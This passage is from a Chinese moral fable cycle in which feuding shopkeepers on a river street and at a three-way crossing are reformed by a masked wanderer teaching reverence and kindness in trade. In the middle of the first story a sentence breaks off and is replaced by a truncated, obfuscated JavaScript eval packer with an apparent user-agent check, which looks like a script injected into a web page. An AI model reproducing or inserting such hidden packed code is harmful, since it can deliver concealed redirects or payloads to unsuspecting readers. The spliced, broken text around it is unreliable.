“小兄弟,”那人转向赵百客,“你爹教你算利,我教你算恩。一间房,可让旅人安眠一夜,明日有力气赶路。一碗面,可让饿者果腹一餐,明日有精神谋生。一盏灯,可让夜归人看见家门,心里温暖。这恩,你算得清么?” 赵百客愣愣地摇头。 那人从怀里掏出一本薄册子,封面上写着《屋檐恩》。递给赵百客。 “这个给你。里边有算店之恩的题,比如:一间房,从木料到建成,要经过多少人之手?一碗面,从麦子到面条,要经过多少道工夫?一盏灯,从油料到光亮,要经过多少番周折?” 赵百客接过,翻开一看,第一页就画着一间房,房里写着:“木匠造我,瓦匠砌我,漆匠饰我,船家运我,掌柜管我,伙计扫我,旅人住我。我是一间房,安人一夜眠。” 他看得痴了。 “掌柜的,”那人转向赵满堂,“你的算盘打得精,可莫要算尽了毫厘,算丢了良心。一而十,十而百,百而千,千而万——这‘一’,是根本。根本是什么?是天地良心,是待客之德。” 说罢,他从怀里掏出房钱,放在柜台上:“这是房钱,二十文,分文不少。” 赵满堂看着那钱,忽然抓起,塞回那人手里:“先生……这房,送您住。” “为何?” “您让我明白了,客栈不是用来算的,是用来歇的。”赵满堂声音有些颤。 那人接过钱,点点头,转身上楼。走到楼梯一半,回头:“掌柜的,明日此时,我再来。你若有心,算算一盏灯要费多少油,一碗面要用多少麦。算明白了,我再与你说话。” 赵满堂看着那人的背影消失在楼梯拐角,又看看儿子手里的册子,忽然翻开账本,拿起算盘,却不是算进账出账,而是算一盏灯、一碗面、一间房的“恩”。 “灯油二钱,可亮三个时辰。三个时辰,可让多少人看见路?一碗面,用面三两,菜二两,油一钱。这些面、菜、油,要多少人劳作……” 四、 流水街的月 八月十五,中秋。码头上漕船停了,船工们都上岸过节。流水街上挂起灯笼,三家的铺子都早早打了烊。 陈满仓搬了张桌子摆在门口,桌上摆着月饼、瓜果。陈小米在旁边数米,一粒一粒,认真得很。 刘尺布也在门口摆了桌子,桌上摆着月饼、茶水。刘寸锦在旁边数线,一根一根,仔细得很。 赵满堂在客栈门口摆了张大桌子,桌上摆着月饼、糕点。赵百客在灯下算账,算的却不是钱,而是一盏灯、一碗面、一间房的“恩”。 三人互相看看,都有些尴尬。三年没说话了,今日中秋,街上就他们三家,不打招呼,说不过去。 还是陈满仓先开口:“刘掌柜,吃月饼。” 刘尺布一愣,忙道:“陈掌柜,喝茶。” 赵满堂也凑过来:“两位掌柜,赏月,赏月。” 三人坐下,你看看我,我看看你,忽然都笑了。这一笑,三年的疙瘩,松了些。 “小米在数什么?”刘尺布问。 “数米。”陈小米抬头,“爹让我数一合米有多少粒。我数了,一千八百零三粒。” “寸锦在数什么?”陈满仓问。 “数线。”刘寸锦抬头,“爹让我数一尺布有多少根线。我数了,横纬三千六百根,竖经四千八百根。” “百客在算什么?”刘尺布问。 “算恩。”赵百客抬头,“爹让我算一盏灯、一碗面、一间房的恩。我算了,一盏灯亮三个时辰,可让十个夜归人看见路。一碗面用三两面,可让一个饿汉饱腹。一间房住一晚,可让一个旅人安眠。” 三人都沉默了。 半晌,陈满仓叹道:“那位先生……真是高人。” “是啊,”刘尺布点头,“他让我明白,布是暖人的,不是量利的。” “他让我明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“从来处来。” “要到哪里去?”赵百客问。 “到去处去。” “您是做什么的?”陈小米问。 “我是个看‘一’的人。”那人笑了,“看一粒米怎么成万担,看一根线怎么成万匹,看一盏灯怎么成万盏。” 他起身,提起酒壶:“酒喝完了,我该走了。” “先生还会来么?”三人齐声问。 “等你们的铺子,不只算利,更算恩的时候,我再来。”他说。 他走了,沿着流水街,慢慢地走。月光把他的影子拉得很长,长得像这条街,长得像这码头的岁月。 三人站在月光下,捧着那个“一”字,久久不语。 五、 十年后的“一”字 天顺十五年,中秋。流水街还是那条流水街,码头还是那个码头,只是三家的铺子,都扩大了。 陈记米铺改名叫“陈记米行”,不光卖米,还设了粥棚,每月初一十五施粥。陈小米接了班,人称“小米掌柜”。他卖米,总要多给一撮,说:“这一撮,是谢天谢地谢农人。”他儿子陈粒儿,八岁,每天在铺子里数米,一粒一粒,数得认真。 刘记布庄改名叫“刘记布行”,不光卖布,还收了两个孤女做学徒,教她们织布。刘寸锦接了班,人称“寸锦掌柜”。她卖布,总要多给一寸,说:“这一寸,是谢天谢地谢织女。”她女儿刘线儿,九岁,每天在铺子里数线,一根一根,数得仔细。 赵家客栈改名叫“赵家老店”,不光住店,还设了茶棚,免费给路人喝茶。赵百客接了班,人称“百客掌柜”。他开店,穷书生、赶考人住宿,只收半价,说:“这一半,是结个善缘。”他儿子赵盏儿,十岁,每天在柜台算账,算的不是利,是恩:今日住了几个赶考人,几个是穷书生,几个是落难人。 今年中秋,三家又在门口摆桌子,赏月。三个孩子——陈粒儿、刘线儿、赵盏儿,凑在一起。一个在数米,一个在数线,一个在算恩。 陈满仓看着,对刘尺布、赵满堂笑道:“像不像咱们当年?” 三人相视而笑,举杯。 这时,街那头走来一人。还是苇编斗笠,白粗布短褂,腰间木剑。只是斗笠更破,短褂更旧,木剑的剑柄磨出了深痕。脸上依然戴着竹面具,在月光下泛着温润的光。 三人看见,忙迎上去:“先生!” 那人点头,声音依旧温和:“都老了。” “先生不老。”陈小米说。 那人笑了,在桌前坐下,自斟一杯酒,举杯邀月:“月还是那个月。” 三人也举杯。 陈粒儿机灵,捧上一碗新米:“先生,吃米,今年的新米,香!” 刘线儿捧上一块新布:“先生,用布,今年的新布,软!” 赵盏儿捧上一盏新灯:“先生,掌灯,今年的新灯,亮!” 那人一一接过,看看米,摸摸布,看看灯,点头:“好,好。” 陈满仓从怀里掏出那个米粒粘的“一”字,已经用琉璃罩子罩着,保存完好:“先生,您看,我一直供着。” 刘尺布、赵满堂也掏出“一”字,三个“一”字,在月光下晶莹剔透。 “供得好。”那人点头,“一字在心,万利不迷。” “先生,”赵满堂问,“您这十年,去了哪里?” “走了些地方,见了些人。”那人说,“有只算利不算恩的米商,有只量布不量心的布商,有只算账不算情的店主。看得多了,就想,若是他们都明白‘一’是根本,会不会就不同了?” 三人沉默。 “一而十,十而百。百而千,千而万。”那人缓缓念,“一是良心,十是积累,百是汇聚,千是壮大,万是圆满。良心丢了,积累再多,汇聚再广,壮大再快,也是空中楼阁,说倒就倒。” 他看向三个孩子——陈粒儿在数米,刘线儿在数线,赵盏儿在算恩。数得认真,数得仔细,算得明白。 “他们比你们强。”那人笑了,“数米知恩,数线知暖,算恩知情。这才对。” 三人点头,深以为然。 那人从怀里掏出三个小小的、用米粒、布丝、灯芯粘成的“本”字,送给三个孩子。 “这个,给你们的孩子。等他们长大了,教他们做生意要算利,更要算恩。等他们做到了,我再来收。” 三个孩子恭恭敬敬接过。 “先生,”陈粒儿大着胆子问,“您是谁啊?” 那人摸摸他的头:“我是个喜欢看人数米、数线、算恩的人。” “那……您还会来看我们数米么?” “会。”那人站起身,“等你们的孩子的孩子,也这样在月光下数米、数线、算恩的时候,我还会来。” 他走了,沿着流水街,慢慢地走。月光洒在青石板上,泛着银白的光。他的背影在月光里,渐渐远了,融进夜色里。 三人送他到街口,看着他消失。陈满仓忽然说:“你们说,先生教了多少人?” 刘尺布说:“不知道。但我知道,他教的人,都懂了‘一’是根本。” 赵满堂说:“我也懂了。生意不是算计,是积善。善有善报,利自来。” 他们回到桌边,孩子们还在那里。陈粒儿在教刘线儿数米,刘线儿在教赵盏儿数线,赵盏儿在教陈粒儿算恩。月光照在他们身上,明晃晃的。 尾声万亿谣 很多年后,流水街改名叫“积善街”。街口的牌坊上,刻着十二个字: 一而十,十而百。百而千,千而万。 常有外乡人问:“这字谁刻的?” 街里的老人会说:“是三家明白人刻的。他们啊,从前只会算利,后来懂了算恩,生意越做越大,心也越来越宽。” “怎么算恩?” “陈记米行卖米多给一撮,刘记布行卖布多给一寸,赵家老店住店少收一半。这一撮、一寸、一半,就是恩。” 中秋时,街上的孩子都会唱一首童谣: 流水街,三铺家, 算盘响彻整条街。 陈记算米只算利, 刘记量布只量钱。 赵家算账不算恩, 三家争利成仇怨。 白衣先生来点化, 一而十,十而百。 百而千,千而万, 三家积善利自来。 有个游方的商贾路过,听了这童谣,去问米行的陈掌柜——当年的陈小米,如今也蓄了须。 “掌柜的,这童谣里的白衣人,可是位财神爷?” 陈小米正在教孙子数米,闻言停下手,望着窗外的月亮。 “是位教人做生意要先做人的先生。”他说。 “做生意……不就是赚钱么?” “错了。”陈小米说,“做生意,是先做‘人’,再做‘生意’。人做正了,生意自然来。就像这米,你当它是养人的,它就越卖越多;你当它是赚钱的,它就越卖越少。” 商贾似懂非懂。临走时,陈小米送了他一包米,说:“路上吃。记着,这米是天地恩,农人苦,别糟蹋。” 商贾道了谢,背着米走了。月光洒在流水街上,银白一片。他回头,看见陈小米站在米行门口,看着孙子和刘家、赵家的孩子在一起,一个数米,一个数线,一个算恩。 92.三才谳 楔子·三家争“明” 津门外有处三岔口,因三条水路交汇得名。此地有座石桥,桥畔有三家店铺鼎足而开:东桥头是“齐家茶棚”,西桥头是“陆家灯笼铺”,桥南是“秦家客栈”。 齐掌柜齐天福,四十有三,卖茶三代。他有一句话挂在嘴边:“天时不如地利,地利不如人和。”可这“人和”,他只对茶客说,对隔壁两家,却是“人不利”。他说陆家灯笼铺的油烟熏了他的茶,说秦家客栈的泔水臭了他的摊。 陆掌柜陆明远,四十有一,扎灯笼三代。他也有一句话常念叨:“明人不做暗事。”可这“明”,他只对自己说。夜里偷偷把灯笼挂到齐家茶棚檐下,天亮说齐家占了他的地;偷偷把废竹篾扔到秦家客栈后巷,回头说秦家脏了他的街。 秦掌柜秦四海,四十有五,开客栈三代。他更有一句口头禅:“四海之内皆兄弟。”可这“兄弟”,他只对南来北往的客商说。对齐家,他说茶棚占了客人的路;对陆家,他说灯笼晃了客人的眼。 这三家,是三岔口最“明事理”的人家。可三年下来,理越辩越不明,怨越结越深。今日你骂我占道,明日我骂你偷光,后日他骂你挡财。石桥上吵,码头边闹,成了三岔口一景。 这是永昌八年的初夏,三岔口漕船如梭,三家店铺的幌子迎风招展,可三家的掌柜,在桥头碰面,鼻子不是鼻子,眼不是眼。 一、 齐家茶棚的“天时” 这日午后,齐天福正在茶棚里煮茶。茶棚临水而建,三面敞着,河风吹来,带着水汽。齐天福摆弄着茶具,嘴里念叨:“天时,天时,今日东南风,正是煮龙井的好时候。” 儿子齐明理,十二岁,在棚里擦桌子,擦到第三遍,桌子能照见人影。 这时,棚里进来一人。来人戴着一顶蒲草编的斗笠,斗笠边缘参差不齐,像是随手折的。身上是件半旧的月白短衫,洗得发白,衣摆用麻绳系在腰间。腰侧挂一柄木剑,剑身无饰,只缠着几圈麻绳。脸上蒙着一方粗葛布,布色灰黄,沾着些路上的尘土。 “掌柜的,一碗茶。”声音温温的,像这午后的风。 齐天福抬眼一瞥,见是个行路的,便道:“大碗三文,小碗两文。” “大碗。” 齐天福提壶冲茶,茶叶是陈年的茉莉花,香味已淡。茶汤倒在粗陶碗里,泛着浊黄。 那人坐下,摘下斗笠放在一旁,却不喝,只看着碗里的茶。 “掌柜的,这茶,用的是什么水?” 齐天福一愣:“河水呗,还能是什么水?” “河水从哪来?” “从西边山上来。” “流经几里?” “……这我哪知道!” 那人端起茶碗,却不喝,只看着茶汤里自己的倒影:“天赐水,地载水,人取水。这碗茶,里有天,有地,有人。” 齐天福听得云里雾里。 “三才者,天地人。”那人缓缓念出这六个字,“掌柜的可知何意?” “自然知道!”齐天福挺起胸,“天时不如地利,地利不如人和!我这茶棚,占尽天时地利人和!” “错了。”那人摇头,“天是上天,地是下地,人是中民。天无私覆,地无私载,人无……掌柜的,你这碗茶,可对得起天?对得起地?对得起人?” 齐天福脸色变了:“你什么意思?” “天赐好水,你取浊流。地生好茶,你用陈叶。人付三文,你得劣茶。”那人声音平平,“天、地、人,你一样也对不住。” 齐天福脸上涨红:“你、你胡说!” “我胡说?”那人站起身,走到棚边,指着河水,“这水,从天而降,落地成流,经百里,过千村,养万人。到你这里,你取来煮茶,却不知感恩,反怨河水不清。这是不敬天。” 又指地上:“这地,生五谷,长百草,育万民。你在这地上摆摊卖茶,却不知珍惜,反怨地不平。这是不敬地。” 再指茶客:“这些人,南来北往,辛苦奔波,花三文钱买你一碗茶,解渴消乏。你却以劣茶相待,以怨气相迎。这是不敬人。” 齐天福张口结舌。 齐明理在旁听得呆了,手里的抹布掉在地上。 “小兄弟,”那人转向齐明理,“你爹教你擦桌子,可教过你擦心?” 齐明理愣愣摇头。 “桌子擦得再亮,心是暗的,有何用?”那人从怀里掏出一本薄册子,封面上写着《三才茶道》。递给齐明理。 “这个给你。里边有煮茶敬天、敬地、敬人的法子。比如:取水时要念什么,煮茶时要思什么,奉茶时要怀什么。” 齐明理接过,翻开一看,第一页就画着一碗茶,茶汤清亮,茶烟袅袅。旁边小字写着:“天雨为水,感恩;地生为叶,惜福;人饮为茶,敬客。” 他看得痴了。 “掌柜的,”那人转向齐天福,“你说你占尽天时地利人和,可你连天、地、人是什么都不懂。天不是风,是恩;地不是土,是德;人不是客,是缘。你怨天怨地怨人,这茶棚,迟早要倒。” 说罢,他从怀里掏出三文钱,放在桌上,转身就走。走到棚口,回头:“掌柜的,明日此时,我再来。你若想明白了天、地、人是什么,给我煮一碗真正的三才茶。” 齐天福呆立良久,看着那三文钱,又看看儿子手里的册子,忽然端起那碗茶,泼在地上。 “明理,去,打一桶上游的清水来。再把咱家那包明前龙井拿出来。” “爹,那茶不是留着卖高价的么?” “不卖了。”齐天福看着河水,“煮一碗敬天、敬地、敬人的茶。” 二、 陆家灯笼铺的“明灯” 陆明远这日正在铺子里扎灯笼。铺子临街,门口挂满各式灯笼,圆的、方的、八角形的,红纸糊面,竹篾为骨。陆明远手里一把篾刀,刀光闪闪,剖竹如泥。 “明轩,看好了!竹要直,篾要匀,纸要平,糊要匀!”陆明远一边剖竹一边教儿子,“灯笼灯笼,要点亮别人的路,先要点亮自己的心!” 陆明轩,十三岁,在旁学糊纸,手笨,纸皱了。 这时,门口进来那人。还是蒲草斗笠,月白短衫,腰间木剑。脸上蒙着葛布,只露出一双眼睛,在昏暗的铺子里,亮得像星。 “掌柜的,买盏灯笼。”声音清朗。 陆明远抬眼,见是昨日在齐家茶棚见过的那人,心里一动,面上堆笑:“客官要什么样的?有圆的,有方的,有八角的,有绣球的……” “要一盏能照见天、地、人的灯笼。”那人说。 陆明远愣住了:“这……灯笼就是灯笼,只能照路,哪能照天、地、人?” “怎的不能?”那人走到一盏灯笼前,伸手轻抚糊纸,“这纸,是竹造的。竹从土生,土赖天雨。这纸里,有天,有地。” 又指竹骨:“这竹,是地生的。地承天露,天生竹。这竹里,有天,有地。” 再指烛火:“这火,是人点的。人取天雷之火,用地生之油,点灯照路。这火里,有天,有地,有人。” 陆明远听得呆了。 “三光者,日月星。”那人缓缓念出这六个字,“掌柜的可知何意?” “自然知道!”陆明远挺胸,“日、月、星,是天上的三光!我这灯笼,就是地上的小星星!” “错了。”那人摇头,“日是太阳,月是太阴,星是众辰。日主昼,月主夜,星主辰。可掌柜的,你这灯笼,点的什么光?” 陆明远语塞。 “你点烛火,烛从蜂蜡来,蜂采百花蜜,花赖天地生。这光,本是天地恩赐,你却用来与人争利。”那人声音不高,却字字清晰,“你夜里挂灯笼到别家檐下,说是争光,实是偷光。你这光,是暗光,不是明光。” 陆明远脸上红一阵白一阵。 “你教儿子‘点亮别人的路’,可你自己呢?你点亮了谁的路?”那人指着门外,“齐家茶棚嫌你油烟,秦家客栈嫌你晃眼,路人嫌你挡道。你这灯笼,照的不是路,是怨。” 陆明轩手里的糨糊碗,“咣当”掉在地上。 “小兄弟,”那人转向陆明轩,“你爹教你扎灯笼,可教过你扎心?” 陆明轩愣愣摇头。 “灯笼扎得再亮,心是暗的,有何用?”那人从怀里掏出一本薄册子,封面上写着《三光明灯》。递给陆明轩。 “这个给你。里边有扎灯笼敬日、敬月、敬星的法子。比如:选竹时要念什么,糊纸时要思什么,点灯时要怀什么。” 陆明轩接过,翻开一看,第一页就画着一盏灯笼,光芒四射。旁边小字写着:“日光为恩,感恩;月光为慈,惜福;星光为引,明路。” 他看得痴了。 “掌柜的,”那人转向陆明远,“你说你的灯笼是地上的星星,可你这星星,发的是怨光,不是明光。三光者,日月星。日是公道,月是慈悲,星是指引。你的光里,可有公道?可有慈悲?可曾指引?” 陆明远额头冒汗。 “一盏灯笼,竹从天雨地土生,纸从人工手艺出,火从天地人合来。这本是敬天、敬地、敬人的东西,你却用来与人结怨。”那人摇头,“可惜,可惜。” 说罢,他从怀里掏出十文钱,放在柜台上:“这钱,买你一盏灯笼。不要圆的,不要方的,要一盏能照见自己心的。” 陆明远看着那钱,忽然抓起,塞回那人手里:“先生……这灯笼,送您。” “为何?” “您让我明白,灯笼不是用来争光的,是用来照路的。”陆明远声音发哑。 那人接过钱,点点头,挑了盏最普通的圆灯笼,转身就走。走到门口,回头:“掌柜的,明日此时,我再来。你若想明白了日、月、星是什么,给我扎一盏真正的三光明灯。” 陆明远看着那人的背影消失在街角,又看看儿子手里的册子,忽然把门口那些争奇斗艳的灯笼都取下来。 “明轩,把这些都收了。今晚,咱扎一盏简单、明亮、能照路的灯。” 三、 秦家客栈的“四海” 秦四海这日正在客栈柜台后算账。客栈两层楼,面临三岔口,推窗可见三条河交汇,端的开阔。秦四海拨着算盘,嘴里念叨:“四海之内皆兄弟,五湖之中尽朋友。来的都是客,全凭嘴一张……” 儿子秦怀远,十四岁,在柜台后学记账,记到“齐家占道费”、“陆家晃眼费”时,笔停了停。 “记啊。”秦四海瞪眼。 “爹,这……这合适么?”秦怀远小声说。 “有什么不合适?他们占我的道,晃我的眼,不该赔钱?”秦四海理直气壮。 这时,门口进来那人。还是蒲草斗笠,月白短衫,腰间木剑。脸上蒙着葛布,风尘仆仆。 “掌柜的,住店。”声音温和。 秦四海抬眼,见是这两日在齐家、陆家见过的那人,心里咯噔一下,面上堆笑:“客官要上房还是下房?” “下房即可,住一晚。” “好嘞!下房一晚三十文,饭食另算。”秦四海拨着算盘,“客官要热水么?要马料么?要……” “只要一床一被,一碗素面。”那人打断他。 秦四海记了账,收了钱,让伙计带那人去房间。那人却不动,看着墙上一幅画。画的是三岔口,三条河交汇,舟船往来,桥上人来人往。 “掌柜的,这画好。” “客官好眼力!”秦四海笑道,“这是请画师特意画的,三岔口全景!” “可画里少了东西。”那人说。 “少了什么?” “少了天,少了地,少了人。”那人指着画,“只有河,只有船,只有桥。天在哪里?地在哪里?人在哪里?” 秦四海愣了。 “三才者,天地人。”那人缓缓念出,“掌柜的,你这客栈,占的是天时?是地利?是人和?” “自然是占尽天时地利人和!”秦四海挺胸,“您看,我这客栈,面朝三河,背靠大街,南来北往的客商,都要从我这门前过!” “错了。”那人摇头,“你面朝三河,可曾敬河?河是天雨所成,是地脉所流。你日日往河里倒泔水,泼脏水,这是敬天敬地?” 秦四海脸上变了色。 “你背靠大街,可曾让道?街是万人所走,是百姓所行。你日日占道经营,堵路拦客,这是敬人?” 秦四海张口结舌。 “你说四海之内皆兄弟,可你对门两家,齐家、陆家,是你的兄弟么?”那人声音平平,“你骂齐家占道,骂陆家晃眼,收他们‘占道费’、‘晃眼费’,这是待兄弟之道?” 秦怀远手里的笔,“啪”地掉了。 “小兄弟,”那人转向秦怀远,“你爹教你‘四海之内皆兄弟’,可教过你,兄弟如何相处?” 秦怀远愣愣摇头。 “兄弟不是嘴上说的,是心里认的,是手上让的,是脚下行的。”那人从怀里掏出一本薄册子,封面上写着《四海客栈》。递给秦怀远。 “这个给你。里边有开店敬天、敬地、敬人的法子。比如:迎客时要念什么,待客时要思什么,送客时要怀什么。” 秦怀远接过,翻开一看,第一页就画着一座客栈,客栈门开四面,迎八方客。旁边小字写着:“天为顶,感恩;地为基,惜福;人为客,敬待。” 他看得痴了。 “掌柜的,”那人转向秦四海,“你说你占尽天时地利人和,可你连天、地、人是什么都不懂。天不是风,是恩;地不是土,是德;人不是客,是缘。你怨天怨地怨人,这客栈,迟早要空。” 说罢,他从怀里掏出房钱,放在柜台上:“这是房钱,三十文,分文不少。” 秦四海看着那钱,忽然抓起,塞回那人手里:“先生……这房,送您住。” “为何?” “您让我明白,客栈不是用来算账的,是用来结缘的。”秦四海声音发颤。 那人接过钱,点点头,转身上楼。走到楼梯一半,回头:“掌柜的,明日此时,我再来。你若想明白了天、地、人是什么,给我备一间真正的三才房。” 秦四海看着那人的背影消失在楼梯拐角,又看看儿子手里的册子,忽然把账本上“齐家占道费”、“陆家晃眼费”那两笔账,狠狠划去。 “怀远,去,请齐掌柜、陆掌柜来,就说……就说我秦四海,请他们喝茶。” 四、 三岔口的月 六月初六,天贶节。三岔口有庙会,桥上桥下,人山人海。齐家茶棚、陆家灯笼铺、秦家客栈,都早早开了门。 齐天福搬了张茶桌摆在门口,桌上摆着三只茶碗。碗是青瓷的,茶是明前龙井,水是上游清水。齐明理在旁烧水,水汽袅袅。 陆明远扎了一盏新灯笼,挂在门口。灯笼是素白的,不描花,不画鸟,只写了三个字:天、地、人。烛光透出来,照得那三个字亮堂堂的。陆明轩在旁添油,小心得很。 秦四海在客栈门口摆了张八仙桌,桌上摆着三副碗筷,三碟小菜。秦怀远在旁温酒,酒香四溢。 三人互相看看,都有些尴尬。三年没坐一桌了,今日天贶节,又是那位先生要来的日子,不坐一桌,说不过去。 还是秦四海先开口:“齐掌柜,陆掌柜,请坐。” 齐天福、陆明远拱拱手,坐下。 茶斟上,酒满上,三人举杯,又放下,不知说什么。 “这茶……好。”陆明远憋出一句。 “这灯……亮。”齐天福接一句。 “这酒……香。”秦四海说。 说完,三人又沉默了。 正沉默着,那人来了。还是蒲草斗笠,月白短衫,腰间木剑。只是今日没蒙葛布,脸上戴了个竹面具,面具上刻着日月星辰。手里提着一壶酒,三个酒杯。 “三位掌柜,赏月呢?”他笑。 三人忙起身:“先生!” 那人坐下,自斟一杯酒,举杯邀月:“好月。” 三人也举杯,同饮。酒是普通的烧刀子,烈,可喝下去,心里暖。 “先生,”齐天福问,“那十二个字,到底什么意思?” “三才者,天地人。三光者,日月星。”那人缓缓念出,“天在上,地在下,人在中。日主昼,月主夜,星主辰。这说的是什么?” 他看着三人:“说的是规矩,是道理,是本分。天有天的规矩,地有地的道理,人有人的本分。日月星,是光,是明,是引。人活天地间,当敬天,敬地,敬人;当向日,向月,向星。” 三人肃然。 “你们三家,一卖茶,一扎灯,一开客栈,本是敬天、敬地、敬人的善业。”那人说,“茶,是天雨地生人采;灯,是天火地竹人扎;客栈,是天覆地载人住。可你们呢?齐掌柜怨天怨地怨人,陆掌柜偷光争光晃光,秦掌柜占道拦客算账。天、地、人,你们一样也没敬;日、月、星,你们一样也没向。” 三人低头。 “天赐你好水,你取浊流;地生你好竹,你扎怨灯;人来你店,你算利账。这是不敬天,不敬地,不敬人。”那人声音温和,却字字如针,“日光照你,你嫌太亮;月光照你,你嫌太暗;星光引你,你嫌太远。这是不向日,不向月,不向星。” 三人汗流浃背。 “今日你们煮清茶,扎明灯,摆宴席,是悟了。”那人点头,“悟了好。悟了,这三岔口,才真有天时,真有地利,真有人和。” 他从怀里掏出三个小小的、用竹片刻的牌子,一人给了一个。牌子上刻着六个字:敬天、敬地、敬人。 “这个,给你们。挂在门口,记在心里。做生意时看看,莫忘了天、地、人。” 三人接过,那牌子是竹片磨的,光滑温润,在月光下泛着青白的光。 “先生,”陆明轩大着胆子问,“您从哪里来?” “从来处来。” “要到哪里去?”秦怀远问。 “到去处去。” “您是做什么的?”齐明理问。 “我是个看天、地、人的人。”那人笑了,“看人怎么敬天,怎么敬地,怎么敬人。” 他起身,提起酒壶:“酒喝完了,我该走了。” “先生还会来么?”三人齐声问。 “等你们的茶棚、灯笼铺、客栈,真真正正敬 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秦家客栈改名叫“四海客栈”,不光住店,还设了粥棚,每月初一十五施粥。秦怀远接了班,人称“怀远掌柜”。他开店,穷书生、赶考人、落难人住宿,分文不取,说:“天为顶,地为基,人为客。客来,是缘。”他儿子秦结缘,十一岁,每天在客栈迎客,迎的笑脸如花。 今年天贶节,三家又在门口摆桌子,赏月。三个孩子——齐敬天、陆向月、秦结缘,凑在一起。一个在煮茶,一个在扎灯笼,一个在迎客。 齐天福看着,对陆明远、秦四海笑道:“像不像咱们当年?” 三人相视而笑,举杯。 这时,桥那头走来一人。还是蒲草斗笠,月白短衫,腰间木剑。只是斗笠更破,短衫更旧,木剑的剑身多了几道裂痕。脸上依然戴着竹面具,面具上的日月星辰,在月光下清晰可见。 三人看见,忙迎上去:“先生!” 那人点头,声音依旧温和:“都变了。” “先生没变。”秦怀远说。 那人笑了,在桌前坐下,自斟一杯酒,举杯邀月:“月还是那个月。” 三人也举杯。 齐敬天机灵,捧上一碗新茶:“先生,喝茶,今年的明前,香!” 陆向月捧上一盏新灯笼:“先生,掌灯,今年的新灯,亮!” 秦结缘捧上一壶新酒:“先生,喝酒,今年的新酒,醇!” 那人一一接过,品茶,看灯,喝酒,点头:“好,好。” 齐天福从怀里掏出那块竹牌,已经用红绳系着,挂在胸前:“先生,您看,我一直戴着。” 陆明远、秦四海也掏出竹牌,三块竹牌,在月光下泛着温润的光。 “戴得好。”那人点头,“敬天敬地敬人,在心不在形。” “先生,”陆明远问,“您这十年,去了哪里?” “走了些地方,见了些人。”那人说,“有怨天怨地的茶商,有偷光争光的灯匠,有占道算账的店主。看得多了,就想,若是他们都明白三才三光,会不会就不同了?” 三人沉默。 “三才者,天地人。三光者,日月星。”那人缓缓念,“天在上,人要敬;地在下,人要惜;人在中,人要爱。日光照,人要行得正;月光照,人要坐得端;星光引,人要走得直。敬天惜地爱人,向日向月向星,这才是人活天地间的本分。” 他看向三个孩子——齐敬天在煮茶,陆向月在扎灯笼,秦结缘在迎客。煮得认真,扎得仔细,迎得热情。 “他们比你们强。”那人笑了,“煮茶知敬,扎灯知向,迎客知缘。这才对。” 三人点头,深以为然。 那人从怀里掏出三块小小的、用竹片刻的牌子,刻着“天恩、地德、人和”,送给三个孩子。 “这个,给你们的孩子。等他们长大了,教他们敬天、敬地、敬人。等他们做到了,我再来收。” 三个孩子恭恭敬敬接过。 “先生,”秦结缘大着胆子问,“您是谁啊?” 那人摸摸他的头:“我是个喜欢看人敬天、敬地、敬人的人。” “那……您还会来看我们煮茶、扎灯、迎客么?” “会。”那人站起身,“等你们的孩子的孩子,也这样在月光下煮茶、扎灯、迎客的时候,我还会来。” 他走了,沿着三岔口,慢慢地走。月光洒在三条河上,波光粼粼。他的背影在月光里,渐渐远了,融进夜色里。 三人送他到桥头,看着他消失。齐天福忽然说:“你们说,先生教了多少人?” 陆明远说:“不知道。但我知道,他教的人,都懂了‘三才三光’。” 秦四海说:“我也懂了。生意不是算计,是结缘。缘结得好,生意自然好。” 他们回到桌边,孩子们还在那里。齐敬天在教陆向月煮茶,陆向月在教秦结缘扎灯笼,秦结缘在教齐敬天迎客。月光照在他们身上,明晃晃的。 尾声三才谣 很多年后,三岔口改名叫“三才口”。桥头的石碑上,刻着十二个字: 三才者,天地人。三光者,日月星。 常有外乡人问:“这字谁刻的?” 口里的老人会说:“是三家明白人刻的。他们啊,从前只会怨天怨地怨人,后来懂了敬天敬地敬人,生意越做越旺,人心越来越和。” “怎么敬?” “齐家煮茶用清水,敬天;陆家扎灯用直竹,敬地;秦家迎客用笑脸,敬人。这就是敬天敬地敬人。” 天贶节时,口里的孩子都会唱一首童谣: 三岔口,三家人, 怨天怨地怨不停。 齐家怨水又怨客, 陆家偷光又争光。 秦家占道又算账, 三家争吵无宁日。 白衣先生来点化, 三才者,天地人。 三光者,日月星, 三家敬天又敬人。 有个游方的道士路过,听了这童谣,去问茶舍的齐掌柜——当年的齐明理,如今也蓄了须。 “掌柜的,这童谣里的白衣人,可是位得道高人?” 齐明理正在教孙子煮茶,闻言停下手,望着窗外的三岔口。 “是位教人敬天、敬地、敬人的先生。”他说。 “敬天敬地……不是我们道士的事么?” “错了。”齐明理说,“敬天敬地敬人,是每个人的本分。卖茶的,煮茶要敬天;扎灯的,扎灯要敬地;开店的,迎客要敬人。这才是真修行。” 道士似懂非懂。临走时,齐明理送了他一包茶叶,说:“路上喝。记着,这茶里有天恩,有地德,有人和。” 道士道了谢,揣着茶叶走了。月光洒在三岔口上,三条河泛着银光。他回头,看见齐明理站在茶舍门口,看着孙子和陆家、秦家的孩子在一起,一个煮茶,一个扎灯笼,一个迎客。月光照在他们身上,像镀了一层银。 也许那位先生,正在某个地方,看人敬天、敬地、敬人吧。道士想。 他闻了闻茶叶,清香扑鼻。这天、地、人的味道,原来就在一盏茶里。 本章诫世 一、 三才三光训 - 三才者,天地人 - 三光者,日月星 - 破解法:为商者,自问“可曾敬天?可曾敬地?可曾敬人?”;为民者,自问“可曾向日?可曾向月?可曾向星?” 二、 三家三怨 - 齐家怨在“三怨”——怨天、怨地、怨人 - 陆家怨在“三暗”——偷光、争光、晃光 - 秦家怨在“三算”——算道、算客、算账 - 惕世:多少商家怨天尤人?多少匠人暗里争利?多少店家算计无度?皆忘敬也 三、 敬本大道 - 深层隐喻:人居天地间,当知敬畏。敬天则天佑,敬地则地载,敬人则人和。三光在天,当知向明。向日则行正,向月则心慈,向星则路直 - 终极指向:立身处世,在明敬畏。敬天敬地敬人,则天地人皆助;向日向月向星,则日月星皆明。不敬不向,虽在光天化日,实处黑暗之中 三才偈: 三岔口前三家人,怨天怨地怨不停。 齐家怨水又怨客,陆家偷光又争光。 秦家占道又算账,三家争吵无宁日。 